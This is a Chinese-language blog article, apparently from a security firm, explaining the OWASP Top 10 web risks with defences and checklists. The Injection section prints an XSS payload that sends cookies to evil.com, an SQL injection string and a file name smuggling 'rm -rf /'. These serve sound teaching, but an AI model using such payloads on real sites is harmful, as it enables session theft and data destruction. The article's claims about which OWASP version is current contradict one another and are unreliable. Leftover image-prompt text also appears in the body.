OWASP Top 10 完整解析:2025 最新版十大網站安全風險【2026 更新】

OWASP Top 10 完整解析:2025/2024/2021 版本比較與中文說明
94% 的網站至少有一個 OWASP Top 10 漏洞。
這不是危言聳聽。根據 Veracode 的報告,絕大多數的網站都有已知的安全弱點。
好消息是,這些漏洞都有明確的防護方式。只要你知道它們是什麼。
這篇文章會逐一解析 OWASP Top 10 的每個漏洞,用白話文告訴你它是什麼、怎麼被攻擊、怎麼防護。
什麼是 OWASP Top 10?
由來與重要性
OWASP Top 10 是由 OWASP 組織 發布的「十大網站安全風險清單」。
這份清單不是隨便列的。它是根據全球數百間企業提供的真實漏洞數據,統計出最常見、最危險的 10 種弱點。
為什麼重要?
- 業界標準:被 PCI DSS、NIST 等合規標準採用
- 風險導向:排名越前面,風險越高
- 實用性強:每個漏洞都有具體的防護建議
如果你只能學一份資安清單,就是這份。
更新週期與決策機制
OWASP Top 10 大約每 3-4 年更新一次。
歷年版本:
- 2003 年:第一版
- 2010 年:第二版
- 2013 年:第三版
- 2017 年:第四版
- 2021 年:第五版
- 2025 年:第六版(目前最新正式版)
2025 版重大變更:
OWASP 基金會已正式發布 2025 年第八版「十大安全風險」清單,基於超過 175,000 筆 CVE 紀錄和全球資安專家回饋分析。
| 變更類型 | 說明 |
|---|---|
| 🆕 新增 | A03:2025 軟體供應鏈失效(Software Supply Chain Failures) |
| 🆕 新增 | A10:2025 異常條件處理不當(Mishandling of Exceptional Conditions) |
| ⬆️ 上升 | 安全設定錯誤從 #5 升至 #2 |
| ⬇️ 下降 | 加密失效從 #2 降至 #4 |
| ⬇️ 下降 | 注入攻擊從 #3 降至 #5 |
| 🔀 整合 | SSRF 已整合至 A01: Broken Access Control |
怎麼決定排名?
OWASP 會收集來自:
- 資安公司的掃描數據
- 弱點賞金平台的回報
- 企業的真實事件統計
- 超過 175,000 筆 CVE 紀錄分析
然後根據「發生頻率」和「影響程度」來排名。
插圖:一位亞洲男性資安分析師坐在辦公室中,面前的大螢幕顯示 OWA...
場景描述: 分析師穿著商務休閒服裝,一手放在滑鼠上,專注地看著螢幕上的數據。螢幕旁邊有便利貼和一杯咖啡。背景是現代辦公室環境。
視覺重點:
- 前景:螢幕上清晰的橫條統計圖
- 中景:專注工作的分析師
- 背景:辦公室環境
必須出現的元素:
- 大螢幕顯示統計圖表
- 橫條圖從長到短排列
- 專業辦公環境
需要顯示的中文字: 無
顏色調性: 專業、數據導向、藍色系
避免元素: 抽象符號、發光效果、齒輪
Slug:
analyst-reviewing-owasp-vulnerability-statistics
OWASP Top 10 2021 版本完整解析
以下逐一解析目前最新正式版本(2021)的十大漏洞。
A01:Broken Access Control(存取控制失效)
排名第一,最常見也最危險。
什麼意思?
使用者能存取他不該存取的資料或功能。
真實案例:
你是一般會員,但改一下網址參數,就能看到管理員頁面。
原本:https://example.com/user/profile?id=123
改成:https://example.com/user/profile?id=1
結果:看到別人的個資
常見攻擊方式:
- 水平越權:看到同級別其他用戶的資料
- 垂直越權:一般用戶存取管理員功能
- IDOR(不安全的直接物件參考):直接修改 ID 存取他人資料
防護方式:
- 預設拒絕所有存取,再逐一開放
- 每個 API 都要做權限檢查
- 避免在 URL 暴露資源 ID
- 實作速率限制
A02:Cryptographic Failures(加密機制失效)
敏感資料沒有好好保護。
什麼意思?
密碼用明文存、信用卡號沒加密、用了過時的加密演算法。
真實案例:
2019 年 Facebook 被爆料,數億用戶的密碼以明文形式存在內部日誌中。
常見問題:
| 問題 | 說明 |
|---|---|
| 明文傳輸 | 沒用 HTTPS |
| 明文儲存 | 密碼沒 Hash |
| 弱加密 | 用 MD5、SHA1 |
| 金鑰管理差 | 金鑰寫死在程式碼 |
防護方式:
- 全站 HTTPS
- 密碼用 bcrypt 或 Argon2 Hash
- 敏感資料加密儲存(AES-256)
- 金鑰用 Vault 或 KMS 管理
A03:Injection(注入攻擊)
經典中的經典。
什麼意思?
攻擊者在輸入欄位塞入惡意程式碼,讓伺服器執行。
最常見的類型:
SQL Injection:
-- 正常查詢
SELECT * FROM users WHERE id = '123'
-- 攻擊者輸入:123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- 結果:撈出所有用戶資料
XSS(跨站腳本攻擊):
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
Command Injection:
# 網站讓用戶輸入檔名
filename=report.pdf
# 攻擊者輸入:report.pdf; rm -rf /
# 伺服器執行:cat report.pdf; rm -rf /
防護方式:
- 使用參數化查詢(Prepared Statement)
- 輸入驗證和過濾
- 輸出編碼(HTML Encoding)
- 最小權限原則
擔心你的網站有 SQL Injection?預約免費資安評估,讓專家幫你檢測。
A04:Insecure Design(不安全設計)
2021 年新增的類別。
什麼意思?
不是程式寫錯,是設計就有問題。
真實案例:
某電商的「忘記密碼」功能:
- 輸入 Email
- 系統寄驗證碼(4 位數字)
- 輸入驗證碼重設密碼
問題在哪?4 位數字只有 10,000 種可能,攻擊者可以暴力破解。
常見設計缺陷:
- 缺乏速率限制
- 沒有防止自動化攻擊
- 業務邏輯漏洞
- 缺乏威脅建模
防護方式:
- 在設計階段做威脅建模
- 使用安全設計模式
- 加入防濫用機制
- 定期做設計審查
A05:Security Misconfiguration(安全設定錯誤)
最容易避免,卻最常發生。
什麼意思?
系統設定沒改好,留下安全漏洞。
常見錯誤:
| 錯誤 | 風險 |
|---|---|
| 預設密碼沒改 | 被輕易登入 |
| 錯誤訊息太詳細 | 洩漏系統資訊 |
| 開了不必要的服務 | 增加攻擊面 |
| 沒關 Debug 模式 | 洩漏敏感資訊 |
| 沒更新安全 Patch | 已知漏洞被利用 |
真實案例:
某公司的 S3 Bucket 設成公開,結果客戶資料被整包下載。
防護方式:
- 建立安全基準設定(Baseline)
- 自動化設定檢查
- 定期掃描和審計
- 移除不必要的功能和帳號
插圖:一位亞洲女性 DevOps 工程師坐在雙螢幕前,左螢幕顯示終...
場景描述: 工程師戴著耳機,正專注地對照兩個螢幕。左手在鍵盤上,右手拿著筆記本。桌上有水杯和一些技術書籍。
視覺重點:
- 前景:雙螢幕清晰可見
- 中景:專注工作的工程師
- 背景:科技公司辦公環境
必須出現的元素:
- 終端機畫面(黑底綠字/白字)
- 安全掃描報告
- 問題清單
需要顯示的中文字: 無
顏色調性: 科技感、專業、深色調
避免元素: 抽象符號、齒輪、發光效果
Slug:
devops-engineer-checking-security-configuration
A06:Vulnerable and Outdated Components(使用有漏洞的元件)
你不是故意的,但用了有洞的東西。
什麼意思?
使用的函式庫、框架或套件有已知漏洞。
真實案例:
2021 年 Log4j 漏洞(Log4Shell),影響了全球數百萬個 Java 應用程式。
問題在哪?
現代軟體大量依賴第三方套件。你的專案可能直接依賴 50 個套件,但這 50 個套件又各自依賴更多套件。任何一個有漏洞,你就有風險。
防護方式:
- 維護軟體清單(SBOM)
- 定期掃描套件漏洞(OWASP Dependency-Check)
- 及時更新有漏洞的套件
- 移除不再使用的套件
A07:Identification and Authentication Failures(身份驗證失效)
登入機制有漏洞。
什麼意思?
攻擊者能繞過登入,或輕易取得他人帳號。
常見問題:
- 允許弱密碼(123456)
- 沒有防止暴力破解
- Session 管理不當
- 沒有多因素驗證
攻擊方式:
| 攻擊 | 說明 |
|---|---|
| 暴力破解 | 用程式嘗試所有密碼組合 |
| 憑證填充 | 用外洩的帳密嘗試登入 |
| Session 劫持 | 偷取登入後的 Session |
防護方式:
- 強制密碼複雜度
- 實作登入失敗鎖定
- 使用多因素驗證(MFA)
- 安全的 Session 管理
A08:Software and Data Integrity Failures(軟體與資料完整性失效)
2021 年新增的類別。
什麼意思?
沒有驗證軟體或資料的完整性,可能被植入惡意程式。
常見問題:
- CI/CD Pipeline 沒有完整性檢查
- 自動更新沒有驗證簽章
- 反序列化漏洞
真實案例:
SolarWinds 供應鏈攻擊。攻擊者入侵 SolarWinds 的建置環境,在軟體更新中植入後門,影響了包括美國政府機關在內的數千個組織。
防護方式:
- 驗證軟體簽章
- 保護 CI/CD Pipeline
- 使用安全的反序列化方式
A09:Security Logging and Monitoring Failures(安全日誌與監控失效)
被打了都不知道。
什麼意思?
沒有足夠的日誌和監控,無法發現或調查攻擊。
問題在哪?
根據統計,企業平均需要 197 天 才能發現資料外洩。很多時候是被外部通知才知道。
常見問題:
- 沒有記錄登入失敗
- 日誌沒有集中管理
- 沒有告警機制
- 日誌保留時間太短
防護方式:
- 記錄所有安全相關事件
- 集中化日誌管理(SIEM)
- 設定告警規則
- 定期審查日誌
A10:Server-Side Request Forgery(SSRF,伺服器端請求偽造)
2021 年新增的類別。
什麼意思?
誘騙伺服器發送請求到攻擊者指定的位置。
攻擊原理:
正常:使用者請求 → 網站伺服器 → 外部資源
攻擊:使用者請求(惡意 URL)→ 網站伺服器 → 內部系統
真實案例:
Capital One 資料外洩事件。攻擊者利用 SSRF 漏洞,讓 AWS 的伺服器請求內部的 Metadata Service,取得 IAM 憑證,進而存取 S3 中的客戶資料。
防護方式:
- 驗證和過濾使用者輸入的 URL
- 使用白名單限制可請求的目標
- 阻擋對內部網段的請求
- 關閉不必要的出站連線
歷年版本比較
2017 vs 2021 主要變化
| 2017 版本 | 2021 版本 | 變化 |
|---|---|---|
| A1: Injection | A03: Injection | 下降 2 名 |
| A2: Broken Authentication | A07: Auth Failures | 下降 5 名 |
| A3: Sensitive Data Exposure | A02: Cryptographic Failures | 上升 1 名,改名 |
| A4: XXE | 併入 A05 | 合併 |
| A5: Broken Access Control | A01: Broken Access Control | 上升到第 1 名 |
| A6: Security Misconfiguration | A05: Security Misconfiguration | 上升 1 名 |
| A7: XSS | 併入 A03 Injection | 合併 |
| A8: Insecure Deserialization | 併入 A08 | 合併 |
| A9: Using Vulnerable Components | A06: Vulnerable Components | 上升 3 名 |
| A10: Insufficient Logging | A09: Logging Failures | 上升 1 名 |
| - | A04: Insecure Design | 新增 |
| - | A08: Data Integrity Failures | 新增 |
| - | A10: SSRF | 新增 |
為什麼 Access Control 變第一名?
三個原因:
- 雲端服務普及:更多 API、更多存取點、更容易出錯
- 微服務架構:服務之間的權限管理更複雜
- 攻擊工具成熟:自動化工具讓越權攻擊更容易
2025 年預期趨勢
雖然 OWASP 還沒發布新版本,但社群討論可能的變化:
- AI/ML 安全:LLM 相關漏洞可能被納入
- 供應鏈安全:SolarWinds 事件後更受重視
- API 安全:可能有更多著墨
插圖:會議室白板上展示 OWASP Top 10 版本演進對照表。...
場景描述: 白板上的表格清晰可見,用紅色標示下降的項目,綠色標示上升的項目,藍色標示新增的項目。講者穿著商務休閒,用手指向「Broken Access Control」的上升箭頭。
視覺重點:
- 前景:白板上的對照表
- 中景:講解的講者
- 背景:會議室環境
必須出現的元素:
- 版本對照表
- 升降箭頭
需要顯示的中文字: 無
顏色調性: 清晰、對比、資訊導向
避免元素: 抽象圖形、齒輪、發光效果
Slug:
presenter-explaining-owasp-version-comparison
如何使用 OWASP Top 10
知道漏洞是什麼只是第一步。重點是怎麼用這份清單。
開發團隊自檢清單
每次上線前,對照 Top 10 做檢查:
A01 存取控制:
- 每個功能都有權限檢查?
- 無法透過修改參數存取他人資料?
A02 加密:
- 敏感資料有加密儲存?
- 全站使用 HTTPS?
A03 注入:
- 使用參數化查詢?
- 有做輸入驗證?
A04 設計:
- 有做威脅建模?
- 防濫用機制到位?
A05 設定:
- 移除預設帳密?
- 關閉 Debug 模式?
以此類推,把 10 項都檢查一遍。
程式碼審查重點
Code Review 時,特別注意:
| 程式碼特徵 | 可能的漏洞 |
|---|---|
| 字串拼接 SQL | A03 Injection |
| 直接輸出使用者輸入 | A03 XSS |
| 沒有權限檢查的 API | A01 Access Control |
| 硬編碼的密碼或金鑰 | A02 Cryptographic Failures |
| eval() 或 exec() | A03 Injection |
滲透測試覆蓋範圍
做滲透測試時,確保覆蓋 Top 10 所有項目:
□ A01: 測試越權存取
□ A02: 測試加密強度
□ A03: 測試各種注入
□ A04: 測試業務邏輯漏洞
□ A05: 測試設定錯誤
□ A06: 掃描套件漏洞
□ A07: 測試登入機制
□ A08: 測試資料完整性
□ A09: 檢查日誌覆蓋
□ A10: 測試 SSRF
想用專業工具自己掃描?看 OWASP ZAP 完整教學。
想動手練習這些攻擊?試試 OWASP Juice Shop 實戰教學。
想用 OWASP Top 10 做內部稽核?預約資安評估,我們提供專業評估服務。
常見問題 FAQ
Q1:OWASP Top 10 多久更新一次?
大約每 3-4 年更新一次。目前最新的正式版本是 2021 年發布的。下一版預計在 2024-2025 年間發布。不過 OWASP 也有其他專門清單會更頻繁更新,例如 API Top 10(2023)、LLM Top 10(2025)。
Q2:OWASP Top 10 2021 和 2017 的最大差異?
三個主要變化:(1)Broken Access Control 從第 5 升到第 1,反映這類問題越來越嚴重;(2)新增了三個類別:Insecure Design、Software and Data Integrity Failures、SSRF;(3)XSS 被合併到 Injection 類別中。整體來說,新版本更關注設計層面的安全問題。
Q3:中小企業需要遵守 OWASP Top 10 嗎?
不是「遵守」,而是「參考」。OWASP Top 10 不是法規,沒有強制性。但如果你的網站處理客戶資料、金流或敏感資訊,遵循 Top 10 是保護自己和客戶的最佳實務。中小企業更應該重視,因為資安事件可能直接導致公司倒閉。
結語:從知道到做到
OWASP Top 10 是每個開發者和資安人員的必修課。
但光是知道這 10 種漏洞還不夠。你需要:
- 理解原理:知道為什麼會有這個漏洞
- 動手練習:實際嘗試攻擊和防禦
- 融入流程:把檢查機制納入開發流程
建議的下一步:
- 閱讀 OWASP 完整指南 了解更多 OWASP 資源
- 用 OWASP ZAP 掃描你的網站
- 在 Juice Shop 練習這些攻擊
或者,讓專家直接幫你檢查。
預約免費資安評估,用 OWASP Top 10 標準檢視你的網站安全。
參考資源
相關文章
OWASP 是什麼?2025 完整指南:Top 10、ZAP 工具、安全標準一次搞懂
深入了解 OWASP 網站安全標準,涵蓋 Top 10 漏洞清單、ZAP 弱點掃描工具、API/LLM/Mobile 安全指南。免費資源與企業導入實務。
資訊安全資安健診是什麼?服務內容、費用、廠商比較完整指南【2025】
資安健診包含哪些項目?費用多少?本文詳細說明弱點掃描、滲透測試、社交工程等服務內容與費用行情,幫你選擇適合的健診方案。
OWASPOWASP API Security Top 10 完整指南:2023 版 API 安全漏洞與防護【2026 更新】
深入解析 OWASP API Top 10 安全漏洞,包含 BOLA、認證失效等十大 API 風險,以及防護措施與測試方法。含 2024-2025 年最新攻擊案例。